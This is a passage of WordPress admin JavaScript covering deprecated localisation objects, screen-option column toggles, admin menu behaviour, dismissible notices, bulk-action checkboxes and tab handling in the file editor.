deprecatedProperty( propName, version, prop.alternative ); return prop.func(); } } ); } else { Object.defineProperty( deprecatedObject, key, { get: function() { deprecatedProperty( propName, version, 'wp.i18n' ); return prop; } } ); } } ); return deprecatedObject; } window.wp.deprecateL10nObject = deprecateL10nObject; /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.6.0 * @deprecated 5.5.0 */ window.commonL10n = window.commonL10n || { warnDelete: '', dismiss: '', collapseMenu: '', expandMenu: '' }; window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.3.0 * @deprecated 5.5.0 */ window.wpPointerL10n = window.wpPointerL10n || { dismiss: '' }; window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.3.0 * @deprecated 5.5.0 */ window.userProfileL10n = window.userProfileL10n || { warn: '', warnWeak: '', show: '', hide: '', cancel: '', ariaShow: '', ariaHide: '' }; window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.6 * @deprecated 5.5.0 */ window.privacyToolsL10n = window.privacyToolsL10n || { noDataFound: '', foundAndRemoved: '', noneRemoved: '', someNotRemoved: '', removalError: '', emailSent: '', noExportFile: '', exportError: '' }; window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.6.0 * @deprecated 5.5.0 */ window.authcheckL10n = { beforeunload: '' }; window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.8.0 * @deprecated 5.5.0 */ window.tagsl10n = { noPerm: '', broken: '' }; window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.adminCommentsL10n = window.adminCommentsL10n || { hotkeys_highlight_first: { alternative: 'window.adminCommentsSettings.hotkeys_highlight_first', func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; } }, hotkeys_highlight_last: { alternative: 'window.adminCommentsSettings.hotkeys_highlight_last', func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; } }, replyApprove: '', reply: '', warnQuickEdit: '', warnCommentChanges: '', docTitleComments: '', docTitleCommentsCount: '' }; window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.tagsSuggestL10n = window.tagsSuggestL10n || { tagDelimiter: '', removeTerm: '', termSelected: '', termAdded: '', termRemoved: '' }; window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.5.0 * @deprecated 5.5.0 */ window.wpColorPickerL10n = window.wpColorPickerL10n || { clear: '', clearAriaLabel: '', defaultString: '', defaultAriaLabel: '', pick: '', defaultLabel: '' }; window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 5.5.0 */ window.attachMediaBoxL10n = window.attachMediaBoxL10n || { error: '' }; window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.postL10n = window.postL10n || { ok: '', cancel: '', publishOn: '', publishOnFuture: '', publishOnPast: '', dateFormat: '', showcomm: '', endcomm: '', publish: '', schedule: '', update: '', savePending: '', saveDraft: '', 'private': '', 'public': '', publicSticky: '', password: '', privatelyPublished: '', published: '', saveAlert: '', savingText: '', permalinkSaved: '' }; window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 5.5.0 */ window.inlineEditL10n = window.inlineEditL10n || { error: '', ntdeltitle: '', notitle: '', comma: '', saved: '' }; window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 5.5.0 */ window.plugininstallL10n = window.plugininstallL10n || { plugin_information: '', plugin_modal_label: '', ays: '' }; window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.0.0 * @deprecated 5.5.0 */ window.navMenuL10n = window.navMenuL10n || { noResultsFound: '', warnDeleteMenu: '', saveAlert: '', untitled: '' }; window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.commentL10n = window.commentL10n || { submittedOn: '', dateFormat: '' }; window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.9.0 * @deprecated 5.5.0 */ window.setPostThumbnailL10n = window.setPostThumbnailL10n || { setThumbnail: '', saving: '', error: '', done: '' }; window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' ); /** * Removed in 6.5.0, needed for back-compatibility. * * @since 4.5.0 * @deprecated 6.5.0 */ window.uiAutocompleteL10n = window.uiAutocompleteL10n || { noResults: '', oneResult: '', manyResults: '', itemSelected: '' }; window.uiAutocompleteL10n = deprecateL10nObject( 'uiAutocompleteL10n', window.uiAutocompleteL10n, '6.5.0' ); /** * Removed in 3.3.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 3.3.0 */ window.adminMenu = { init : function() {}, fold : function() {}, restoreMenuState : function() {}, toggle : function() {}, favorites : function() {} }; // Show/hide/save table columns. window.columns = { /** * Initializes the column toggles in the screen options. * * Binds an onClick event to the checkboxes to show or hide the table columns * based on their toggled state. And persists the toggled state. * * @since 2.7.0 * * @return {void} */ init : function() { var that = this; $('.hide-column-tog', '#adv-settings').on( 'click', function() { var $t = $(this), column = $t.val(); if ( $t.prop('checked') ) that.checked(column); else that.unchecked(column); columns.saveManageColumnsState(); }); }, /** * Saves the toggled state for the columns. * * Saves whether the columns should be shown or hidden on a page. * * @since 3.0.0 * * @return {void} */ saveManageColumnsState : function() { var hidden = this.hidden(); $.post( ajaxurl, { action: 'hidden-columns', hidden: hidden, screenoptionnonce: $('#screenoptionnonce').val(), page: pagenow }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Makes a column visible and adjusts the column span for the table. * * @since 3.0.0 * @param {string} column The column name. * * @return {void} */ checked : function(column) { $('.column-' + column).removeClass( 'hidden' ); this.colSpanChange(+1); }, /** * Hides a column and adjusts the column span for the table. * * @since 3.0.0 * @param {string} column The column name. * * @return {void} */ unchecked : function(column) { $('.column-' + column).addClass( 'hidden' ); this.colSpanChange(-1); }, /** * Gets all hidden columns. * * @since 3.0.0 * * @return {string} The hidden column names separated by a comma. */ hidden : function() { return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() { return this.id; }).get().join( ',' ); }, /** * Gets the checked column toggles from the screen options. * * @since 3.0.0 * * @return {string} String containing the checked column names. */ useCheckboxesForHidden : function() { this.hidden = function(){ return $('.hide-column-tog').not(':checked').map(function() { var id = this.id; return id.substring( id, id.length - 5 ); }).get().join(','); }; }, /** * Adjusts the column span for the table. * * @since 3.1.0 * * @param {number} diff The modifier for the column span. */ colSpanChange : function(diff) { var $t = $('table').find('.colspanchange'), n; if ( !$t.length ) return; n = parseInt( $t.attr('colspan'), 10 ) + diff; $t.attr('colspan', n.toString()); } }; $( function() { columns.init(); } ); /** * Validates that the required form fields are not empty. * * @since 2.9.0 * * @param {jQuery} form The form to validate. * * @return {boolean} Returns true if all required fields are not an empty string. */ window.validateForm = function( form ) { return !$( form ) .find( '.form-required' ) .filter( function() { return $( ':input:visible', this ).val() === ''; } ) .addClass( 'form-invalid' ) .find( ':input:visible' ) .on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } ) .length; }; // Stub for doing better warnings. /** * Shows message pop-up notice or confirmation message. * * @since 2.7.0 * * @type {{warn: showNotice.warn, note: showNotice.note}} * * @return {void} */ window.showNotice = { /** * Shows a delete confirmation pop-up message. * * @since 2.7.0 * * @return {boolean} Returns true if the message is confirmed. */ warn : function() { if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) { return true; } return false; }, /** * Shows an alert message. * * @since 2.7.0 * * @param text The text to display in the message. */ note : function(text) { alert(text); } }; /** * Represents the functions for the meta screen options panel. * * @since 3.2.0 * * @type {{element: null, toggles: null, page: null, init: screenMeta.init, * toggleEvent: screenMeta.toggleEvent, open: screenMeta.open, * close: screenMeta.close}} * * @return {void} */ window.screenMeta = { element: null, // #screen-meta toggles: null, // .screen-meta-toggle page: null, // #wpcontent /** * Initializes the screen meta options panel. * * @since 3.2.0 * * @return {void} */ init: function() { this.element = $('#screen-meta'); this.toggles = $( '#screen-meta-links' ).find( '.show-settings' ); this.page = $('#wpcontent'); this.toggles.on( 'click', this.toggleEvent ); }, /** * Toggles the screen meta options panel. * * @since 3.2.0 * * @return {void} */ toggleEvent: function() { var panel = $( '#' + $( this ).attr( 'aria-controls' ) ); if ( !panel.length ) return; if ( panel.is(':visible') ) screenMeta.close( panel, $(this) ); else screenMeta.open( panel, $(this) ); }, /** * Opens the screen meta options panel. * * @since 3.2.0 * * @param {jQuery} panel The screen meta options panel div. * @param {jQuery} button The toggle button. * * @return {void} */ open: function( panel, button ) { $( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' ); panel.parent().show(); /** * Sets the focus to the meta options panel and adds the necessary CSS classes. * * @since 3.2.0 * * @return {void} */ panel.slideDown( 'fast', function() { panel.removeClass( 'hidden' ).trigger( 'focus' ); button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true ); }); $document.trigger( 'screen:options:open' ); }, /** * Closes the screen meta options panel. * * @since 3.2.0 * * @param {jQuery} panel The screen meta options panel div. * @param {jQuery} button The toggle button. * * @return {void} */ close: function( panel, button ) { /** * Hides the screen meta options panel. * * @since 3.2.0 * * @return {void} */ panel.slideUp( 'fast', function() { button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false ); $('.screen-meta-toggle').css('visibility', ''); panel.parent().hide(); panel.addClass( 'hidden' ); }); $document.trigger( 'screen:options:close' ); } }; /** * Initializes the help tabs in the help panel. * * @param {Event} e The event object. * * @return {void} */ $('.contextual-help-tabs').on( 'click', 'a', function(e) { var link = $(this), panel; e.preventDefault(); // Don't do anything if the click is for the tab already showing. if ( link.is('.active a') ) return false; // Links. $('.contextual-help-tabs .active').removeClass('active'); link.parent('li').addClass('active'); panel = $( link.attr('href') ); // Panels. $('.help-tab-content').not( panel ).removeClass('active').hide(); panel.addClass('active').show(); }); /** * Update custom permalink structure via buttons. */ var permalinkStructureFocused = false, $permalinkStructure = $( '#permalink_structure' ), $permalinkStructureInputs = $( '.permalink-structure input:radio' ), $permalinkCustomSelection = $( '#custom_selection' ), $availableStructureTags = $( '.form-table.permalink-structure .available-structure-tags button' ); // Change permalink structure input when selecting one of the common structures. $permalinkStructureInputs.on( 'change', function() { if ( 'custom' === this.value ) { return; } $permalinkStructure.val( this.value ); // Update button states after selection. $availableStructureTags.each( function() { changeStructureTagButtonState( $( this ) ); } ); } ); $permalinkStructure.on( 'click input', function() { $permalinkCustomSelection.prop( 'checked', true ); } ); // Check if the permalink structure input field has had focus at least once. $permalinkStructure.on( 'focus', function( event ) { permalinkStructureFocused = true; $( this ).off( event ); } ); /** * Enables or disables a structure tag button depending on its usage. * * If the structure is already used in the custom permalink structure, * it will be disabled. * * @param {Object} button Button jQuery object. */ function changeStructureTagButtonState( button ) { if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) { button.attr( 'data-label', button.attr( 'aria-label' ) ); button.attr( 'aria-label', button.attr( 'data-used' ) ); button.attr( 'aria-pressed', true ); button.addClass( 'active' ); } else if ( button.attr( 'data-label' ) ) { button.attr( 'aria-label', button.attr( 'data-label' ) ); button.attr( 'aria-pressed', false ); button.removeClass( 'active' ); } } // Check initial button state. $availableStructureTags.each( function() { changeStructureTagButtonState( $( this ) ); } ); // Observe permalink structure field and disable buttons of tags that are already present. $permalinkStructure.on( 'change', function() { $availableStructureTags.each( function() { changeStructureTagButtonState( $( this ) ); } ); } ); $availableStructureTags.on( 'click', function() { var permalinkStructureValue = $permalinkStructure.val(), selectionStart = $permalinkStructure[ 0 ].selectionStart, selectionEnd = $permalinkStructure[ 0 ].selectionEnd, textToAppend = $( this ).text().trim(), textToAnnounce, newSelectionStart; if ( $( this ).hasClass( 'active' ) ) { textToAnnounce = $( this ).attr( 'data-removed' ); } else { textToAnnounce = $( this ).attr( 'data-added' ); } // Remove structure tag if already part of the structure. if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) { permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' ); $permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue ); // Announce change to screen readers. $( '#custom_selection_updated' ).text( textToAnnounce ); // Disable button. changeStructureTagButtonState( $( this ) ); return; } // Input field never had focus, move selection to end of input. if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) { selectionStart = selectionEnd = permalinkStructureValue.length; } $permalinkCustomSelection.prop( 'checked', true ); // Prepend and append slashes if necessary. if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) { textToAppend = '/' + textToAppend; } if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) { textToAppend = textToAppend + '/'; } // Insert structure tag at the specified position. $permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) ); // Announce change to screen readers. $( '#custom_selection_updated' ).text( textToAnnounce ); // Disable button. changeStructureTagButtonState( $( this ) ); // If input had focus give it back with cursor right after appended text. if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) { newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length; $permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart ); $permalinkStructure.trigger( 'focus' ); } } ); $( function() { var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions, lastClicked = false, pageInput = $('input.current-page'), currentPage = pageInput.val(), isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ), isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1, $adminMenuWrap = $( '#adminmenuwrap' ), $wpwrap = $( '#wpwrap' ), $adminmenu = $( '#adminmenu' ), $overlay = $( '#wp-responsive-overlay' ), $toolbar = $( '#wp-toolbar' ), $toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ), $sortables = $('.meta-box-sortables'), wpResponsiveActive = false, $adminbar = $( '#wpadminbar' ), lastScrollPosition = 0, pinnedMenuTop = false, pinnedMenuBottom = false, menuTop = 0, menuState, menuIsPinned = false, height = { window: $window.height(), wpwrap: $wpwrap.height(), adminbar: $adminbar.height(), menu: $adminMenuWrap.height() }, $headerEnd = $( '.wp-header-end' ); /** * Makes the fly-out submenu header clickable, when the menu is folded. * * @param {Event} e The event object. * * @return {void} */ $adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){ $(e.target).parent().siblings('a').get(0).click(); }); /** * Collapses the admin menu. * * @return {void} */ $( '#collapse-button' ).on( 'click.collapse-menu', function() { var viewportWidth = getViewportWidth() || 961; // Reset any compensation for submenus near the bottom of the screen. $('#adminmenu div.wp-submenu').css('margin-top', ''); if ( viewportWidth <= 960 ) { if ( $body.hasClass('auto-fold') ) { $body.removeClass('auto-fold').removeClass('folded'); setUserSetting('unfold', 1); setUserSetting('mfold', 'o'); menuState = 'open'; } else { $body.addClass('auto-fold'); setUserSetting('unfold', 0); menuState = 'folded'; } } else { if ( $body.hasClass('folded') ) { $body.removeClass('folded'); setUserSetting('mfold', 'o'); menuState = 'open'; } else { $body.addClass('folded'); setUserSetting('mfold', 'f'); menuState = 'folded'; } } $document.trigger( 'wp-collapse-menu', { state: menuState } ); }); /** * Ensures an admin submenu is within the visual viewport. * * @since 4.1.0 * * @param {jQuery} $menuItem The parent menu item containing the submenu. * * @return {void} */ function adjustSubmenu( $menuItem ) { var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop, $submenu = $menuItem.find( '.wp-submenu' ); menutop = $menuItem.offset().top; wintop = $window.scrollTop(); maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar. bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu. pageHeight = $wpwrap.height(); // Height of the entire page. adjustment = 60 + bottomOffset - pageHeight; theFold = $window.height() + wintop - 50; // The fold. if ( theFold < ( bottomOffset - adjustment ) ) { adjustment = bottomOffset - theFold; } if ( adjustment > maxtop ) { adjustment = maxtop; } if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) { $submenu.css( 'margin-top', '-' + adjustment + 'px' ); } else { $submenu.css( 'margin-top', '' ); } } if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device. // iOS Safari works with touchstart, the rest work with click. mobileEvent = isIOS ? 'touchstart' : 'click'; /** * Closes any open submenus when touch/click is not on the menu. * * @param {Event} e The event object. * * @return {void} */ $body.on( mobileEvent+'.wp-mobile-hover', function(e) { if ( $adminmenu.data('wp-responsive') ) { return; } if ( ! $( e.target ).closest( '#adminmenu' ).length ) { $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' ); } }); /** * Handles the opening or closing the submenu based on the mobile click|touch event. * * @param {Event} event The event object. * * @return {void} */ $adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) { var $menuItem = $(this).parent(); if ( $adminmenu.data( 'wp-responsive' ) ) { return; } /* * Show the sub instead of following the link if: * - the submenu is not open. * - the submenu is not shown inline or the menu is not folded. */ if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) { event.preventDefault(); adjustSubmenu( $menuItem ); $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' ); $menuItem.addClass('opensub'); } }); } if ( ! isIOS && ! isAndroid ) { $adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({ /** * Opens the submenu when hovered over the menu item for desktops. * * @return {void} */ over: function() { var $menuItem = $( this ), $submenu = $menuItem.find( '.wp-submenu' ), top = parseInt( $submenu.css( 'top' ), 10 ); if ( isNaN( top ) || top > -5 ) { // The submenu is visible. return; } if ( $adminmenu.data( 'wp-responsive' ) ) { // The menu is in responsive mode, bail. return; } adjustSubmenu( $menuItem ); $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' ); $menuItem.addClass( 'opensub' ); }, /** * Closes the submenu when no longer hovering the menu item. * * @return {void} */ out: function(){ if ( $adminmenu.data( 'wp-responsive' ) ) { // The menu is in responsive mode, bail. return; } $( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' ); }, timeout: 200, sensitivity: 7, interval: 90 }); /** * Opens the submenu on when focused on the menu item. * * @param {Event} event The event object. * * @return {void} */ $adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) { if ( $adminmenu.data( 'wp-responsive' ) ) { // The menu is in responsive mode, bail. return; } $( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' ); /** * Closes the submenu on blur from the menu item. * * @param {Event} event The event object. * * @return {void} */ }).on( 'blur.adminmenu', '.wp-submenu a', function( event ) { if ( $adminmenu.data( 'wp-responsive' ) ) { return; } $( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' ); /** * Adjusts the size for the submenu. * * @return {void} */ }).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() { adjustSubmenu( $( this ) ); }); } /* * The `.below-h2` class is here just for backward compatibility with plugins * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570. * If '.wp-header-end' is found, append the notices after it otherwise * after the first h1 or h2 heading found within the main content. */ if ( ! $headerEnd.length ) { $headerEnd = $( '.wrap h1, .wrap h2' ).first(); } $( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd ); /** * Makes notices dismissible. * * @since 4.4.0 * * @return {void} */ function makeNoticesDismissible() { $( '.notice.is-dismissible' ).each( function() { var $el = $( this ), $button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' ); if ( $el.find( '.notice-dismiss' ).length ) { return; } // Ensure plain text. $button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) ); $button.on( 'click.wp-dismiss-notice', function( event ) { event.preventDefault(); $el.fadeTo( 100, 0, function() { $el.slideUp( 100, function() { $el.remove(); }); }); }); $el.append( $button ); }); } $document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error wp-notice-added', makeNoticesDismissible ); // Init screen meta. screenMeta.init(); /** * Checks a checkbox. * * This event needs to be delegated. Ticket #37973. * * @return {boolean} Returns whether a checkbox is checked or not. */ $body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) { // Shift click to select a range of checkboxes. if ( 'undefined' == event.shiftKey ) { return true; } if ( event.shiftKey ) { if ( !lastClicked ) { return true; } checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' ); first = checks.index( lastClicked ); last = checks.index( this ); checked = $(this).prop('checked'); if ( 0 < first && 0 < last && first != last ) { sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first ); sliced.prop( 'checked', function() { if ( $(this).closest('tr').is(':visible') ) return checked; return false; }); } } lastClicked = this; // Toggle the "Select all" checkboxes depending if the other ones are all checked or not. var unchecked = $(this).closest('tbody').find('tr').find(':checkbox').filter(':visible:enabled').not(':checked'); /** * Determines if all checkboxes are checked. * * @return {boolean} Returns true if there are no unchecked checkboxes. */ $(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() { return ( 0 === unchecked.length ); }); return true; }); /** * Controls all the toggles on bulk toggle change. * * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly. * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted. * * This event needs to be delegated. Ticket #37973. * * @param {Event} event The event object. * * @return {boolean} */ $body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) { var $this = $(this), $table = $this.closest( 'table' ), controlChecked = $this.prop('checked'), toggle = event.shiftKey || $this.data('wp-toggle'); $table.children( 'tbody' ).filter(':visible') .children().children('.check-column').find(':checkbox') /** * Updates the checked state on the checkbox in the table. * * @return {boolean} True checks the checkbox, False unchecks the checkbox. */ .prop('checked', function() { if ( $(this).is(':hidden,:disabled') ) { return false; } if ( toggle ) { return ! $(this).prop( 'checked' ); } else if ( controlChecked ) { return true; } return false; }); $table.children('thead, tfoot').filter(':visible') .children().children('.check-column').find(':checkbox') /** * Syncs the bulk checkboxes on the top and bottom of the table. * * @return {boolean} True checks the checkbox, False unchecks the checkbox. */ .prop('checked', function() { if ( toggle ) { return false; } else if ( controlChecked ) { return true; } return false; }); }); /** * Marries a secondary control to its primary control. * * @param {jQuery} topSelector The top selector element. * @param {jQuery} topSubmit The top submit element. * @param {jQuery} bottomSelector The bottom selector element. * @param {jQuery} bottomSubmit The bottom submit element. * @return {void} */ function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) { /** * Updates the primary selector when the secondary selector is changed. * * @since 5.7.0 * * @return {void} */ function updateTopSelector() { topSelector.val($(this).val()); } bottomSelector.on('change', updateTopSelector); /** * Updates the secondary selector when the primary selector is changed. * * @since 5.7.0 * * @return {void} */ function updateBottomSelector() { bottomSelector.val($(this).val()); } topSelector.on('change', updateBottomSelector); /** * Triggers the primary submit when then secondary submit is clicked. * * @since 5.7.0 * * @return {void} */ function triggerSubmitClick(e) { e.preventDefault(); e.stopPropagation(); topSubmit.trigger('click'); } bottomSubmit.on('click', triggerSubmitClick); } // Marry the secondary "Bulk actions" controls to the primary controls: marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') ); // Marry the secondary "Change role to" controls to the primary controls: marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') ); var addAdminNotice = function( data ) { var $notice = $( data.selector ), $headerEnd = $( '.wp-header-end' ), type, dismissible, $adminNotice; delete data.selector; dismissible = ( data.dismissible && data.dismissible === true ) ? ' is-dismissible' : ''; type = ( data.type ) ? data.type : 'info'; $adminNotice = '<div id="' + data.id + '" class="notice notice-' + data.type + dismissible + '"><p>' + data.message + '</p></div>'; // Check if this admin notice already exists. if ( ! $notice.length ) { $notice = $( '#' + data.id ); } if ( $notice.length ) { $notice.replaceWith( $adminNotice ); } else if ( $headerEnd.length ) { $headerEnd.after( $adminNotice ); } else { if ( 'customize' === pagenow ) { $( '.customize-themes-notifications' ).append( $adminNotice ); } else { $( '.wrap' ).find( '> h1' ).after( $adminNotice ); } } $document.trigger( 'wp-notice-added' ); }; $( '.bulkactions' ).parents( 'form' ).on( 'submit', function( event ) { var form = this, submitterName = event.originalEvent && event.originalEvent.submitter ? event.originalEvent.submitter.name : false, currentPageSelector = form.querySelector( '#current-page-selector' ); if ( currentPageSelector && currentPageSelector.defaultValue !== currentPageSelector.value ) { return; // Pagination form submission. } // Observe submissions from posts lists for 'bulk_action' or users lists for 'new_role'. var bulkFieldRelations = { 'bulk_action' : window.bulkActionObserverIds.bulk_action, 'changeit' : window.bulkActionObserverIds.changeit }; if ( ! Object.keys( bulkFieldRelations ).includes( submitterName ) ) { return; } var values = new FormData(form); var value = values.get( bulkFieldRelations[ submitterName ] ) || '-1'; // Check that the action is not the default one. if ( value !== '-1' ) { // Check that at least one item is selected. var itemsSelected = form.querySelectorAll( '.wp-list-table tbody .check-column input[type="checkbox"]:checked' ); if ( itemsSelected.length > 0 ) { return; } } event.preventDefault(); event.stopPropagation(); $( 'html, body' ).animate( { scrollTop: 0 } ); var errorMessage = value !== '-1' ? __( 'Please select at least one item to perform this action on.' ) : __( 'Please select a bulk action to perform.' ); addAdminNotice( { id: value !== '-1' ? 'no-items-selected' : 'no-bulk-action-selected', type: 'error', message: errorMessage, dismissible: true, } ); wp.a11y.speak( errorMessage ); }); /** * Shows row actions on focus of its parent container element or any other elements contained within. * * @return {void} */ $( '#wpbody-content' ).on({ focusin: function() { clearTimeout( transitionTimeout ); focusedRowActions = $( this ).find( '.row-actions' ); // transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help. $( '.row-actions' ).not( this ).removeClass( 'visible' ); focusedRowActions.addClass( 'visible' ); }, focusout: function() { // Tabbing between post title and .row-actions links needs a brief pause, otherwise // the .row-actions div gets hidden in transit in some browsers (ahem, Firefox). transitionTimeout = setTimeout( function() { focusedRowActions.removeClass( 'visible' ); }, 30 ); } }, '.table-view-list .has-row-actions' ); // Toggle list table rows on small screens. $( 'tbody' ).on( 'click', '.toggle-row', function() { $( this ).closest( 'tr' ).toggleClass( 'is-expanded' ); }); $('#default-password-nag-no').on( 'click', function() { setUserSetting('default_password_nag', 'hide'); $('div.default-password-nag').hide(); return false; }); /** * Handles tab keypresses in theme and plugin file editor textareas. * * @param {Event} e The event object. * * @return {void} */ $('#newcontent').on('keydown.wpevent_InsertTab', function(e) { var el = e.target, selStart, selEnd, val, scroll, sel; // After pressing escape key (keyCode: 27), the tab key should tab out of the textarea. if ( e.keyCode == 27 ) { // When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them. e.preventDefault(); $(el).data('tab-out', true); return; } // Only listen for plain tab key (keyCode: 9) without any modifiers. if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey ) return; // After tabbing out, reset it so next time the tab key can be used again. if ( $(el).data('tab-out') ) { $(el).data('tab-out', false); return; } selStart = el.selectionStart; selEnd = el.selectionEnd; val = el.value; // If any text is selected, replace the selection with a tab character. if ( document.selection ) { el.focus(); sel = document.selection.createRange(); sel.text = '\t'; } else if ( selStart >= 0 ) { scroll = this.scrollTop; el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) ); el.selectionStart = el.selectionEnd = selStart + 1; this.scrollTop = scroll; } // Cancel the regular tab functionality, to prevent losing focus of the textarea. if ( e.stopPropagation ) e.stopPropagation(); if ( e.preventDefault ) e.preventDefault(); }); // Reset page number variable for new filters/searches but not for bulk actions. See #17685. if ( pageInput.length ) { /** * Handles pagination variable when filtering the list table. * * Set the pagination argument to the first page when the post-filter form is submitted. * This happens when pressing the 'filter' button on the list table page. * * The pagination argument should not be touched when the bulk action dropdowns are set to do anything. * * The form closest to the pageInput is the post-filter form. * * @return {void} */ pageInput.closest('form').on( 'submit', function() { /* * action = bulk action dropdown at the top of the table */ if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage ) pageInput.val('1'); }); } /** * Resets the bulk actions when the search button is clicked. * * 